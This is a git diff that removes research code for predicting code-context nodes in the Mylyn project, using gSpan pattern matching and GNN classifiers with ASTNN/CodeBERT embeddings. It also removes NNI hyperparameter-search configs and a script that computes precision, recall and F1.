m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] - - -def load_patterns(patterns): - G2s = [] - with open(patterns) as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('t #'): - g = nx.DiGraph() - if line.startswith('v'): - v = line.split(' ') - g.add_node(int(v[1]), label=v[2]) - if line.startswith('e'): - e = line.split(' ') - g.add_edge(int(e[1]), int(e[2]), label=e[3]) - if line.startswith('#'): - G2s.append(g) - f.close() - return G2s - - -def get_graph(graphs: list[ET.Element], step: int): - gs = [] - if len(graphs) == 0: - return gs - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - g = nx.DiGraph() - true_node = 0 - # true_edge = 0 - # 转化为图结构 - remove_nodes = [] - for node in vertex_list: - g.add_node(int(node.get('id')), label=node.get('stereotype'), origin=node.get('origin'), - G1=node.get('G1')) - if node.get('stereotype') == 'NOTFOUND': - remove_nodes.append(int(node.get('id'))) - else: - if int(node.get('origin')) == 1: - true_node += 1 - for link in edge_list: - g.add_edge(int(link.get('start')), int(link.get('end')), label=link.get('label')) - # if int(link.get('origin')) == 1: - # true_edge += 1 - if true_node > step: - for node_id in remove_nodes: - g.remove_node(node_id) # 会自动删除边 - gs.append(g) - return gs - - -def load_targets(project_model_name: str, step): - project_path = join(root_path, project_model_name, 'repo_first_3') - G1s = [] - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0.9, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - G1s = G1s + get_graph(graphs, step) - # for g in G1s: - # true_number = 0 - # for n in list(g.nodes): - # true_number += int(g.nodes.get(n)['origin']) - # if true_number == len(list(g.nodes)): - # print('no change ', G1s.index(g)) - return G1s - - -def count_positive(confidence, thres): - count = 0 - for con in confidence: - if con[1] >= thres: - count += 1 - return count - - -def node_match(node1, node2): - return node1['label'] == node2['label'] - - -def edge_match(edge1, edge2): - return edge1['label'] == edge2['label'] - - -def calculate_result(labels, true_number): - if len(labels) == 0: - return [0, 0, 0] - precision = labels.count(1) / len(labels) - recall = labels.count(1) / true_number - if precision + recall == 0: - f1 = 0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - return [precision, recall, f1] - - -def calculate_result_full(labels, output, true_number): - result = [] - for MinConf in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]: - if len(labels) == 0: - result.append([0, 0, 0]) - positive_count = 0 - true_positive_count = 0 - for i in range(len(output)): - if output[i] >= MinConf: - positive_count += 1 - if labels[i] == 1: - true_positive_count += 1 - precision = true_positive_count / positive_count if positive_count != 0 else 0 - recall = true_positive_count / true_number - if precision + recall == 0: - f1 = 0.0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - result.append([precision, recall, f1]) - return result - - -def print_result(result, k): - s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] - print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for minConf in s: - i = s.index(minConf) - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[i][0] - r += res[i][1] - f += res[i][2] - p = Decimal(p / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - if p + r > 0: - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f"{minConf:>10.1f} {p:>10.3f} {r:>10.3f} {f:>10.3f}") - - -def save_result_stereotype(confidence, nodes): - print("----new match---") - confidence = dict(confidence) - for node_id in nodes: - origin_label = nodes.get(node_id)['origin'] - if confidence.get(node_id): - conf = confidence.get(node_id) - # node_id = c[0] - # conf = Decimal(conf).quantize(Decimal("0.01"), rounding="ROUND_FLOOR") - stereotype = nodes.get(node_id)['label'] - print(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}') - elif origin_label == '1': - conf = 0.0 - stereotype = nodes.get(node_id)['label'] - print(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}') - - -def graph_match(step, patterns): - G1s = load_targets('my_mylyn', step) - G2s = load_patterns(patterns) - print('G1s', len(G1s), 'G2s', len(G2s)) - result_1, result_3, result_5, result_full = [], [], [], [] - for G1 in G1s[43:44]: - - print(G1.nodes(data=True)) - print(G1.edges(data=True)) - for node in G1.nodes(data=True): - if node[1]['label'] == 'FIELD' and G1.has_edge(1, node[0]): - print(f'1 号节点 declares 了一个 {node[0]} 号field') - if node[1]['label'] == 'SET' and G1.has_edge(1, node[0]): - print(f'1 号节点 declares 了一个 {node[0]} 号 SET') - if node[1]['label'] == 'FIELD' and G1.has_edge(4, node[0]): - print(f'4 号节点 declares 了一个 {node[0]} 号field') - if node[1]['label'] == 'SET' and G1.has_edge(4, node[0]): - print(f'4 号节点 declares 了一个 {node[0]} 号 SET') - # for G1 in G1s[batch_index * 200: (batch_index + 1) * 200]: - # if G1s.index(G1) in [290]: - # continue - print(f'handling: {G1s.index(G1)}-{G1}') - begin_time = time.time() - total_match = 0 - confidence = dict() - flag = False - for G2 in G2s: - curr_time = time.time() - if curr_time - begin_time > 60 * 5: - flag = True - break - GM = isomorphism.DiGraphMatcher(G1, G2, node_match=node_match, edge_match=edge_match) - if GM.subgraph_is_isomorphic(): - t = 0 - for sub_iter in GM.subgraph_isomorphisms_iter(): - nodes = list(map(int, list(sub_iter.keys()))) - ground_truth = 0 - for node in nodes: - ground_truth += int(G1.nodes.get(node)['origin']) - # 匹配的子图中不属于 ground truth的节点数不能超过当前的预测补偿 step - if len(nodes) - ground_truth > step: - continue - total_match += 1 - t += 1 - for node in nodes: - if confidence.get(node): - confidence[node] = confidence[node] + 1 - else: - confidence[node] = 1 - # sub_G1: nx.DiGraph = G1.subgraph(nodes) - # print(sub_G1.nodes.data(), sub_G1.edges.data() - print(G2.nodes(data=True), G2.edges(data=True), t) - if flag: # 计算已经匹配出来的 - print(f'break {G1s.index(G1)}') - break # 如果存在超时,直接跳过该 model - print('total_match: ', total_match) - confidence = dict(sorted(confidence.items(), key=lambda d: d[1], reverse=True)) - print(confidence) - for i in confidence: - confidence[i] = confidence.get(i) / total_match - confidence = sorted(confidence.items(), key=lambda d: d[1], reverse=True) # [(3, 1.0), (17, 0.5), (14, 0.5)] - print(confidence) - k = 0 - if k == 0: - output, labels = [], [] - # print(confidence) - for top_c in confidence: - node_id = top_c[0] - output.append(top_c[1]) - # print(G1.nodes.get(node_id)) - labels.append(int(G1.nodes.get(node_id)['origin'])) - true_number = 0 - for n in list(G1.nodes): - true_number += int(G1.nodes.get(n)['origin']) - if true_number > 0: - result_full.append(calculate_result_full(labels, output, true_number)) - save_result_stereotype(confidence, G1.nodes) - # print_result(result_1, 1) - # print_result(result_3, 3) - # print_result(result_5, 5) - # pd.to_pickle(result_full, f'./origin_result/result_full_{step}_{batch_index}.pkl') - print_result(result_full, 0) - - -def graph_build_and_gspan(min_sup, node_num, project_model_name='my_mylyn'): - project_path = join(root_path, project_model_name, 'repo_first_3') - graph_index = 0 - with open('./no_graph.data', 'w') as f: - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.8) - print(len(model_dir_list)) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - graph_text = f't # {graph_index}\n' - f.write(graph_text) - curr_index = 0 - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - vs = [] - for vertex in vertex_list: - stereotype, _id = vertex.get('stereotype'), int(vertex.get('id')) - # 去除 notfound - if not stereotype == 'NOTFOUND': - vs.append((_id, stereotype)) - for v in sorted(vs, key=lambda x: x[0]): - vertex_text = f'v {v[0] + curr_index} {v[1]}\n' - f.write(vertex_text) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start, end, label = int(edge.get('start')), int(edge.get('end')), edge.get('label') - keys = [x[0] for x in vs] - if start in keys and end in keys: - edge_text = f'e {start + curr_index} {end + curr_index} {label}\n' - f.write(edge_text) - curr_index += len(vertex_list) - graph_index += 1 - f.write('t # -1') - f.close() - print(graph_index) - - min_support = math.ceil(min_sup * graph_index) # 0.02 * num_of_graphs - print('min_support: ', min_support) - # args_str = f'-h' - if node_num == 0: - args_str = f'-s {min_support} -d True ./no_graph.data' - else: - args_str = f'-s {min_support} -l {node_num} -u {node_num} -d True ./no_graph.data' - FLAGS, _ = parser.parse_known_args(args=args_str.split()) - main(FLAGS) - - -if __name__ == '__main__': - # print(sys.argv) - step = int(sys.argv[1]) if len(sys.argv) > 2 else 1 - # batch_index = int(sys.argv[2]) if len(sys.argv) > 2 else 0 # 798 / 200 = 5 0,1,2,3 - # print(step, batch_index) - min_sup = 0.015 - node_num = 0 - # 挖掘模式库 这里的 gsan库有问题,需要根据报错,将包源码的 append 方法修改为 _append 即可 - # graph_build_and_gspan(min_sup=min_sup, node_num=node_num) - graph_match(step=step, patterns=f'./origin_patterns/no-sup-{min_sup}') diff --git a/rq1/baseline/test_pattern b/rq1/baseline/test_pattern deleted file mode 100644 index 25dd86e..0000000 --- a/rq1/baseline/test_pattern +++ /dev/null @@ -1,5 +0,0 @@ -t # 0 -v 0 POOL -v 1 FIELD -e 0 1 declares -# diff --git a/rq1/our/config.yml b/rq1/our/config.yml deleted file mode 100644 index b88b63e..0000000 --- a/rq1/our/config.yml +++ /dev/null @@ -1,59 +0,0 @@ -experimentName: astnn_codebert_attention_filter -#experimentWorkingDirectory: xxx -searchSpace: - batch_size: - _type: choice - _value: [ 4, 8, 16, 32, 64, 128 ] -# lr: -# _type: choice -# _value: [ 0.001, 0.0005, 0.0001 ] -# hidden_size: # 图卷积层大小 -# _type: choice -# _value: [ 1024, 768, 512, 256 ] - attention_heads: # 图卷积层注意力机制 head - _type: choice - _value: [ 2, 4, 8, 12, 16 ] - dropout: - _type: choice - _value: [ 0.1, 0.2, 0.3, 0.4, 0.5 ] -# epochs: -# _type: choice -# _value: [ 100 ] - num_layers: # 图卷积层数 - _type: choice - _value: [ 1, 2, 3, 4, 5 ] - approach: - _type: choice - _value: ['attention', 'wo_concat', 'wo_attention'] - embedding_type: - _type: choice - _value: ['astnn+codebert', 'astnn', 'codebert'] - - -debug: True -trialCommand: python3.9 our_astnn_mylyn.py --nni True --gpu 0 --step 1 --concurrency True -trialCodeDirectory: . -trialGpuNumber: 1 -maxTrialNumber: 400 -trialConcurrency: 10 # 同时执行几个任务 -tunerGpuIndices: [ 3, 6, 7, 8, 9 ] - -tuner: - name: Random - class_args: - seed: 5 -#tuner: -# name: TPE -# classArgs: -# optimizeMode: maximize -trainingService: - platform: local - maxTrialNumberPerGpu: 2 - gpuIndices: [ 3, 6, 7, 8, 9 ] - useActiveGpu: true - -# nnictl create --config config.yml --port 8080 -# ssh -N -f -L 8080:127.0.0.1:8080 shunliu@115.236.33.122 -p 9998 -i -# -N: 此选项告诉 SSH 不要执行远程命令。它在你只想转发端口时非常有用。 -# -f: 此选项告诉 SSH 在命令执行之前转入后台运行。这样可以在后台运行隧道。 -# -L 8080:127.0.0.1:8080: 此选项指定本地端口转发。它将本地机器上的端口 8080 转发到远程地址 127.0.0.1 的端口 8080。 \ No newline at end of file diff --git a/rq1/our/our_astnn_mylyn.py b/rq1/our/our_astnn_mylyn.py deleted file mode 100644 index 50b1c37..0000000 --- a/rq1/our/our_astnn_mylyn.py +++ /dev/null @@ -1,146 +0,0 @@ -import os -import random -import string -from os.path import join - -from pathlib import Path -import argparse - -os.sys.path.append(str(Path(__file__).absolute().parent.parent.parent)) - -from GNN_Node_Classification import construct_input, node_classification, test_model -import nni - -parser = argparse.ArgumentParser() -parser.add_argument("--nni", type=bool, required=False, default=False) -parser.add_argument("--step", type=int, required=False, default=2) -parser.add_argument("--gpu", type=str, required=False, default='1') -parser.add_argument("--concurrency", type=bool, required=False, default=False) -args = parser.parse_args() - -construct = True -load_lazy = True -train = True - -my_params = { - 'description': 'mylyn', - 'embedding_type': 'astnn+codebert', - 'current_path': join(os.path.dirname(os.path.realpath(__file__))), # save to current dir - 'step': args.step, - 'under_sampling_threshold': 0, - 'model_type': 'GCN', - 'num_layers': 3, - 'in_feats': 1280, - 'hidden_size': 1024, - 'dropout': 0.3, - 'attention_heads': 12, - 'num_heads': 8, - 'num_edge_types': 5, - 'epochs': 100, - 'lr': 0.001, - 'batch_size': 8, - 'threshold': 0.4, - 'weight_decay': 1e-6, - 'approach': 'attention' # attention / wo_concat / wo_attention -} - -if not args.nni: - assert args.gpu != '' - os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu -else: - optimized_params = nni.get_next_parameter() - params = my_params.keys() - for param in params: - if param in optimized_params: - my_params[param] = optimized_params[param] - -if args.concurrency: - concurrency_string = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) - my_params[ - "result_name"] = (f"{my_params['description']}_{my_params['model_type']}" - f"_{my_params['embedding_type']}_{my_params['under_sampling_threshold']}" - f"_{concurrency_string}_model") -else: - my_params[ - "result_name"] = (f"{my_params['description']}_{my_params['model_type']}" - f"_{my_params['embedding_type']}_{my_params['under_sampling_threshold']}_model") - -# 设置编码输入维度 -if my_params["embedding_type"] == 'astnn+codebert': - my_params["in_feats"] = 1280 - my_params["hidden_size"] = 1024 -elif my_params["embedding_type"] == 'astnn': - my_params["in_feats"] = 512 - my_params["hidden_size"] = 512 -elif my_params["embedding_type"] == 'codebert': - my_params["in_feats"] = 768 - my_params["hidden_size"] = 512 - -print(my_params) - -# construct input: train, valid, test dataset of four project -if construct: - construct_input.main_func( - description=my_params['description'], - step=my_params['step'], - dest_path=my_params['current_path'], - embedding_type=my_params['embedding_type'], - ) - -if train: - # train and save model - node_classification.main_func( - save_path=my_params['current_path'], - save_name=my_params['result_name'], - embedding_type=my_params['embedding_type'], - step=my_params['step'], - under_sampling_threshold=my_params['under_sampling_threshold'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - dropout=my_params['dropout'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - epochs=my_params['epochs'], - lr=my_params['lr'], - batch_size=my_params['batch_size'], - threshold=my_params['threshold'], - weight_decay=my_params['weight_decay'], - approach=my_params['approach'], - load_lazy=load_lazy, - use_nni=args.nni - ) - -# show train result -# view.main_func( -# result_path=current_path, -# step=step, -# load_name=result_name -# ) - -# test model -# [p, r, f, a] -best_result = test_model.main_func( - model_path=my_params['current_path'], - load_name=my_params['result_name'], - embedding_type=my_params['embedding_type'], - step=my_params['step'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - load_lazy=load_lazy, - approach=my_params['approach'], - use_nni=args.nni, - under_sampling_threshold=my_params['under_sampling_threshold'] -) - -# write result to file -with open('best_result.txt', 'a') as f: - f.write('>>>>>' + str(my_params) + " ---- " + str(best_result) + '\n') - f.close() diff --git a/rq1/our/result_analyse.py b/rq1/our/result_analyse.py deleted file mode 100644 index d189914..0000000 --- a/rq1/our/result_analyse.py +++ /dev/null @@ -1,182 +0,0 @@ -import numpy as np -from collections import Counter - - -def read_result(step: int): - result = [] - with open(f'./specific_result_{step}.txt', 'r') as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('---'): - continue - else: - result.append(line.split(' ')) - return result - - -def all_positive(data): - print('\n---------all positive----------\n') - filtered_data = [item for item in data if item[4] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0.0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f}: {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def true_node(data): - print('\n---------true nodes----------\n') - filtered_data = [item for item in data if item[4] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f} {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def false_node(data): - print('\n---------false nodes----------\n') - # 筛选第五列等于 "True" 且第六列等于 "False" 的数据 - filtered_data = [item for item in data if item[4] == "False"] - print(len(filtered_data)) - - # 提取stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f}: {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def calculate_result(true_nodes, false_nodes): - # 阈值范围 - thresholds = np.arange(0.1, 1.1, 0.1) - # 存储结果 - results = [] - for threshold in thresholds: - tp_count = sum(1 for x in true_nodes if x >= threshold) - fp_count = sum(1 for x in false_nodes if x >= threshold) - fn_count = sum(1 for x in true_nodes if x < threshold) - # Avoid division by zero - precision = tp_count / (tp_count + fp_count) if (tp_count + fp_count) > 0 else 0 - recall = tp_count / (tp_count + fn_count) if (tp_count + fn_count) > 0 else 0 - f1_score = (2 * precision * recall / (precision + recall)) if (precision + recall) > 0 else 0 - results.append((threshold, tp_count, fp_count, fn_count, precision, recall, f1_score)) - # 打印结果 - print(f"{'Threshold':>10} {'TP':>5} {'FP':>5} {'FN':>5} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for threshold, tp_count, fp_count, fn_count, precision, recall, f1_score in results: - print( - f"{threshold:>10.1f} {tp_count:>5} {fp_count:>5} {fn_count:>5} {precision:>10.3f} {recall:>10.3f} {f1_score:>10.3f}") - - -if __name__ == '__main__': - step = 1 - result = read_result(step) - print(len(result)) - false_nodes = false_node(result) - true_nodes = true_node(result) - print(f"\nAll nodes: {len(false_nodes) + len(true_nodes)}") - calculate_result(true_nodes, false_nodes) diff --git a/rq2/different_embedding/astnn+codebert+stereotype/astnn+codebert+stereotype_embedding.py b/rq2/different_embedding/astnn+codebert+stereotype/astnn+codebert+stereotype_embedding.py deleted file mode 100644 index c7d593f..0000000 --- a/rq2/different_embedding/astnn+codebert+stereotype/astnn+codebert+stereotype_embedding.py +++ /dev/null @@ -1,80 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -os.environ["CUDA_VISIBLE_DEVICES"] = "8" # GPU编号 - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_pde', 'my_platform', 'my_mylyn'], step=3) - -# parameters -description = 'mylyn' -embedding_type = 'astnn+codebert+stereotype' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = ['GCN3'][0] -under_sampling_threshold = [5.0, 10.0, 20.0, 30.0, 40.0, 50.0, 0][1] # 0表示不进行欠采样 40 是比例最好的 -code_embedding = 1792 -epochs = 100 -lr = 0.0001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 512 -hidden_size_2 = 128 -out_feats = 64 -dropout = 0.2 -threshold = 0.4 - -construct = False -load_lazy = True - -print(hidden_size, hidden_size_2, out_feats) - -for step in [1]: - # construct input: train, valid, test dataset of four project - if construct and not load_lazy: - construct_input.main_func( - description=description, - step=step, - dest_path=current_path, - embedding_type=embedding_type - ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - hidden_size_2=hidden_size_2, - out_feats=out_feats, - dropout=dropout, - threshold=threshold, - load_lazy=load_lazy - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - hidden_size_2=hidden_size_2, - out_feats=out_feats, - load_lazy=load_lazy - ) diff --git a/rq2/different_embedding/astnn+codebert/astnn+codebert_embedding.py b/rq2/different_embedding/astnn+codebert/astnn+codebert_embedding.py deleted file mode 100644 index 15f0ae4..0000000 --- a/rq2/different_embedding/astnn+codebert/astnn+codebert_embedding.py +++ /dev/null @@ -1,146 +0,0 @@ -import os -import random -import string -from os.path import join - -from pathlib import Path -import argparse - -os.sys.path.append(str(Path(__file__).absolute().parent.parent.parent.parent)) - -from GNN_Node_Classification import construct_input, node_classification, test_model -import nni - -parser = argparse.ArgumentParser() -parser.add_argument("--nni", type=bool, required=False, default=False) -parser.add_argument("--step", type=int, required=False, default=1) -parser.add_argument("--gpu", type=str, required=False, default='1') -parser.add_argument("--concurrency", type=bool, required=False, default=False) -args = parser.parse_args() - -construct = True -load_lazy = True -train = True - -my_params = { - 'description': 'mylyn', - 'embedding_type': 'astnn+codebert', - 'current_path': join(os.path.dirname(os.path.realpath(__file__))), # save to current dir - 'step': args.step, - 'under_sampling_threshold': 0, - 'model_type': 'GCN', - 'num_layers': 3, - 'in_feats': 1280, - 'hidden_size': 1024, - 'dropout': 0.3, - 'attention_heads': 8, - 'num_heads': 8, - 'num_edge_types': 5, - 'epochs': 100, - 'lr': 0.001, - 'batch_size': 32, - 'threshold': 0.4, - 'weight_decay': 1e-6, - 'approach': 'attention' # attention / wo_concat / wo_attention -} - -if not args.nni: - assert args.gpu != '' - os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu -else: - optimized_params = nni.get_next_parameter() - params = my_params.keys() - for param in params: - if param in optimized_params: - my_params[param] = optimized_params[param] - -if args.concurrency: - concurrency_string = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) - my_params[ - "result_name"] = (f"{my_params['description']}_{my_params['model_type']}" - f"_{my_params['embedding_type']}_{my_params['under_sampling_threshold']}" - f"_{concurrency_string}_model") -else: - my_params[ - "result_name"] = (f"{my_params['description']}_{my_params['model_type']}" - f"_{my_params['embedding_type']}_{my_params['under_sampling_threshold']}_model") - -# 设置编码输入维度 -if my_params["embedding_type"] == 'astnn+codebert': - my_params["in_feats"] = 1280 - my_params["hidden_size"] = 1024 -elif my_params["embedding_type"] == 'astnn': - my_params["in_feats"] = 512 - my_params["hidden_size"] = 512 -elif my_params["embedding_type"] == 'codebert': - my_params["in_feats"] = 768 - my_params["hidden_size"] = 512 - -print(my_params) - -# construct input: train, valid, test dataset of four project -if construct: - construct_input.main_func( - description=my_params['description'], - step=my_params['step'], - dest_path=my_params['current_path'], - embedding_type=my_params['embedding_type'], - ) - -if train: - # train and save model - node_classification.main_func( - save_path=my_params['current_path'], - save_name=my_params['result_name'], - embedding_type=my_params['embedding_type'], - step=my_params['step'], - under_sampling_threshold=my_params['under_sampling_threshold'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - dropout=my_params['dropout'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - epochs=my_params['epochs'], - lr=my_params['lr'], - batch_size=my_params['batch_size'], - threshold=my_params['threshold'], - weight_decay=my_params['weight_decay'], - approach=my_params['approach'], - load_lazy=load_lazy, - use_nni=args.nni - ) - -# show train result -# view.main_func( -# result_path=current_path, -# step=step, -# load_name=result_name -# ) - -# test model -# [p, r, f, a] -best_result = test_model.main_func( - model_path=my_params['current_path'], - load_name=my_params['result_name'], - embedding_type=my_params['embedding_type'], - step=my_params['step'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - load_lazy=load_lazy, - approach=my_params['approach'], - use_nni=args.nni, - under_sampling_threshold=my_params['under_sampling_threshold'] -) - -# write result to file -with open('best_result.txt', 'a') as f: - f.write('>>>>>' + str(my_params) + " ---- " + str(best_result) + '\n') - f.close() diff --git a/rq2/different_embedding/astnn+codebert/config.yml b/rq2/different_embedding/astnn+codebert/config.yml deleted file mode 100644 index 8011f67..0000000 --- a/rq2/different_embedding/astnn+codebert/config.yml +++ /dev/null @@ -1,58 +0,0 @@ -experimentName: astnn_codebert_attention_filter -#experimentWorkingDirectory: xxx -searchSpace: -# batch_size: -# _type: choice -# _value: [ 1, 2, 4, 8, 16, 32, 64, 128 ] -# lr: -# _type: choice -# _value: [ 0.005, 0.001, 0.0005, 0.0001 ] -# hidden_size: # 图卷积层大小 -# _type: choice -# _value: [ 1024, 768, 512, 256 ] - attention_heads: # 图卷积层注意力机制 head - _type: choice - _value: [ 2, 4, 8, 12, 16 ] -# dropout: -# _type: choice -# _value: [ 0,1, 0,2, 0,3, 0.4, 0,5 ] -# epochs: -# _type: choice -# _value: [ 100 ] - num_layers: # 图卷积层数 - _type: choice - _value: [ 1, 2, 3, 4, 5 ] - approach: - _type: choice - _value: ['attention', 'wo_concat', 'wo_attention'] - embedding_type: - _type: choice - _value: ['astnn+codebert', 'astnn', 'codebert'] - -debug: True -trialCommand: python3.9 astnn+codebert_embedding.py --nni True --gpu 0 --step 1 --concurrency True -trialCodeDirectory: . -trialGpuNumber: 1 -maxTrialNumber: 225 -trialConcurrency: 8 # 同时执行几个任务 -tunerGpuIndices: [ 6, 7, 8, 9 ] - -tuner: - name: Random - class_args: - seed: 5 -#tuner: -# name: TPE -# classArgs: -# optimizeMode: maximize -trainingService: - platform: local - maxTrialNumberPerGpu: 3 - gpuIndices: [ 6, 7, 8, 9 ] - useActiveGpu: true - -# nnictl create --config config.yml --port 8080 -# ssh -N -f -L 8080:127.0.0.1:8080 shunliu@115.236.33.122 -p 9998 -i -# -N: 此选项告诉 SSH 不要执行远程命令。它在你只想转发端口时非常有用。 -# -f: 此选项告诉 SSH 在命令执行之前转入后台运行。这样可以在后台运行隧道。 -# -L 8080:127.0.0.1:8080: 